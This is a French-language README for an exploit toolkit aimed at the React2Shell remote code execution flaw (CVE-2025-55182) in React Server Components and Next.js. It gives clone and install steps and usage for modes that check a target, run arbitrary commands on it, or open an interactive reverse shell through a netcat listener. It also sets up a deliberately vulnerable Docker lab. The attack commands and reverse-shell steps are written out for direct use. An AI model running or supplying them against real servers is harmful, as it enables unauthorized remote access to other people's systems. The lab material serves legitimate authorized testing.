
Un kit d'outils simple pour valider, exploiter et obtenir un shell interactif via la RCE react2Shell Next.js.
[!AVERTISSEMENT] Cet outil est fourni uniquement à des fins de tests autorisés et d'éducation. L'accès non autorisé au réseau et l'exfiltration de données sont illégaux. Les utilisateurs sont responsables de s'assurer qu'ils disposent des autorisations appropriées avant d'utiliser cet outil sur un réseau.
Ce dépôt contient une boîte à outils simple pour valider, exploiter (sploit) et obtenir un shell interactif via CVE-2025-55182, également connue sous le nom de React2Shell. Il s'agit d'une vulnérabilité critique d'exécution de code à distance (RCE) sans authentification préalable dans les React Server Components (RSC) affectant les versions 19.0.0, 19.1.0, 19.1.1 et 19.2.0.
La vulnérabilité provient d'une désérialisation non sécurisée dans le protocole Flight de React, permettant à des attaquants non authentifiés d'exécuter du code arbitraire sur les serveurs vulnérables. Elle a été divulguée le 3 décembre 2025 et possède un score CVSS de 10.0 (Critique). Bien qu'elle affecte principalement les React Server Components, elle a des implications pour les frameworks comme Next.js qui utilisent RSC.
Remarque : Cette boîte à outils est destinée uniquement à des fins éducatives et de recherche. L'exploitation non autorisée de vulnérabilités est illégale et contraire à l'éthique. Utilisez-la de manière responsable et uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
Pour plus de détails, consultez les avis officiels :
requests, argparse (installer via pip install -r requirements.txt)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
Le script principal est sploit.py. Exécutez-le avec les options suivantes :
python sploit.py --help
--target <URL> : L'URL cible (ex. http://vulnerable-site.com).--mode <validate|sploit|shell> : Mode d'opération.
validate : Vérifier la vulnérabilité sans exploitation.sploit : Exécuter une commande personnalisée.shell : Établir un shell inversé interactif.--command <CMD> : Commande à exécuter (obligatoire pour le mode sploit).--lhost <IP> : Hôte local pour le shell inversé (obligatoire pour le mode shell).--lport <PORT> : Port local pour le shell inversé (par défaut : 4444).Valider la vulnérabilité :
python sploit.py --target http://example.com --mode validate
Exploiter avec exécution de commande :
python sploit.py --target http://example.com --mode sploit --command "whoami"
Obtenir un shell interactif :
D'abord, mettez en place un écouteur (ex. nc -lvnp 4444), puis :
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
Pour des analyses techniques approfondies :
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell lab is running!</h1>
<p>Start sploiting → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# Copy only package files first (better caching)
COPY package*.json ./
# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps
# Copy the rest of the app
COPY . .
# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json
# Build the Next.js app
RUN npm run build
# Expose port
EXPOSE 3000
# Start the app
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
→ http://localhost:3000Vous avez terminé. Le conteneur démarre en moins de 2 secondes et est prêt pour les chaînes prototype pollution → RCE.Option en une ligne pour tout détruire et redémarrer à tout moment :bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
Voir le blog de sécurité AWS pour le renseignement sur les menaces.
Cet outil est fourni "en l'état" sans garantie. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par cette boîte à outils. Obtenez toujours une autorisation avant de tester des vulnérabilités.
Les demandes de tirage (pull requests) sont les bienvenues ! Pour des modifications majeures, veuillez d'abord ouvrir une issue.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
